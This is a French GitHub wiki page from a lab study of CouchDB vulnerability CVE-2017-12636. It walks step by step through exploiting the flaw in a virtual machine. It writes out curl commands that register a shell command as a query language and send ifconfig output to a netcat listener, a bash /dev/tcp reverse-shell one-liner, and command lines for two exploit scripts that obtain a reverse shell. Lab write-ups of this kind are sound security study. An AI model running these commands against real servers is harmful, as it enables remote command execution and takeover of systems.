Exploitation de la faille 12636 (Avec privilège 12635) - Guillaumeclavel/Etude_Faille_CVE_12636 GitHub Wiki

Etape 4 : A partir de ce nouveau privilège, exploitation de la faille 12636

L'objectif de cet exploit est de montrer que l'on peut lancer des commandes "shell", à partir du serveur "CouchDB".

On va chercher à mettre en évidence cette faille via 3 modes :

  1. Command Curl
  2. Script python Exploit_12636.py, avec commande simple "ip" or "ifconfig"
  3. Script python RedTeamWing/exp.py avec tentative de shell reverse

0) Principe de la Mise en place d'observateur :

  • Mécanisme recherché

On cherche à détourner une fonctionnalité de Couchdb, qui autorise la définition de son propre language pour générer ses fonctions de base de données NoSQL MAP/REDUCE. Le principe de la faille 12636 est de détourner cette fonctionnalité, pour déclarer des taches "shell", et les executer lors de l'appel à ces fonctions.
(javascript, coffeescript, cmd ==> Commande shell) Language_declaré Nous allons chercher à montrer que les commandes shell déclarées sont bien executées.

  • Console "CoucheDB" LogLevel info

    Dans la console de lancement de couchDB (via Docker-compose up, la configuration de lancement couchDB en mode logLevel=info, permet d'avoir un retour sur les requetes, et le fonctionnement interne du container " COuchDB" ecoute
  • Mise en place d'un Port pour l'écoute

    Sur un nouveau terminal, on lance la commande suivante:
    nc -lvvp 1420
    ecoute

    Ce nouveau terminal sera à l'écoute du port 1420 sur la machine virtuel.

  • Identification de son adresse IP

    Avec la commande ifconfig, on peut identifier l'adresse IP de la machine virtuel, pour réorienter les flux de la commande shell vers cette destination Adresse IP
  • Vérification de la configuration de notre VM

    Avec la commande : sudo netstat -tunlp
    SocketAnalyse

    On observe que le programme Python écoute le port 6080
    L'adresse locale 0.0.0.0:1420 est bien sur écoute protocole tcp et tcp6
    le docker contenant "couchDB" écoute sur le port 5984

1) Tentative via ligne de commande Curl

  • En ligne de commande CURL -X PUT xxx and CURL -X POST xxx
    - Creating a new database
    curl -X PUT 'http://127.0.0.1:5984/vultest
    - Adding some content
    curl -X PUT 'http://127.0.0.1:5984/vultest/vul' -d '{"_id":"770855a97726d5666d70a22173005c77"}'
    - Remote code to execute as a language, the output will be shown in the remote server
    curl -X PUT 'http://127.0.0.1:5984/_config/query_servers/cmd/-d \
    '"/sbin/ifconfig | curl http://192.168.122.1:1420 -d @-"'
    - Triggering the language to execute the remote code

    On réalise cette action via l 'interface couchdb Futon''

Reponse_CouchDB Bien que la commande renvoie un message d'erreur dans le navigateur, une communication a été réalisée avec la fenetre de commande à l'écoute

2) Tentative script PYTHON avec commande simple

  • On lance un terminal depuis code TerminalPython

  • On execute le script Python Exploit_12636 avec les arguments suivants :

    • --priv
    • -c "fonction" : fonction appelée dans la commande shell ici "ip"
    • l'host : l'adresse du serveur couchDB
      ==> la commande à lancer est la suivante :
      python3 Exploit_12636.py --priv -c "ip" http:\\localhost:5984

TerminalPython

On se place dans le repertoire suivant et on lance code . LancementPython

On voit que dans la fenetre de commande couchDB, la commande ip est excecutée, heureusement n'est pas transmis à l'IP attaquant '

3) Tentative script PYTHON avec une cible "reverse shell"

Le principe du reserve shell est que l'assaillant est accès directement à une interface shell depuis son poste :

  • Test entre 2 fenetres de commande shell :

    • Sur une fenetre commande shell, on lance la commande netcat pour l'écoute du port 1420.
    • Sur une deuxieme fenetre de commande shell, on lance la commande shell suivante sur la machine host : sh -i >& /dev/tcp/0.0.0.0/1420 0>&1, Explication reverse shell

    Exmple mis en place sur la VM : Reserve shell Cette nouvelle commande donne un accès shell, avec des commandes déclarées depuis l'adresse IP /port déclaré (ici 0.0.0.0/1420), mais executé sur la machine host. Un assaillant ayant introduit cette commande sur un serveur, et écoutant l'adresse déclaré pourra lancer depuis son poste, tout type de comamnde.

  • Mise en place du script pour attaquer le container "CouchDB" Ayant préalablement ouvert une fenetre commande écoutant le port 1420, puis en lancant code depuis le repertoire RedTeamWing: Reserve shell

    On lance la commande suivante depuis terminal "Code", pour executer le code exp.py avec les arguments suivants: - Serveur target : http://localhost:5984
    - Version couchdb : 1.6
    - Adresse : 192.168.122.1 = localhost VM
    - Port : 1420
    En synthèse, la commande : python3 exp.py http://localhost:5984 1.6 192.168.122.1 1420
    Le bilan est le suivant Reserve shell tentative

    Depuis notre machine "attaquant", on a accès directement à des commandes shell executées sur l'environnement couchdb. La faille de sécurité 12636 est importante, et est mis evidence par cette démonstration.

Wiki#help ioctl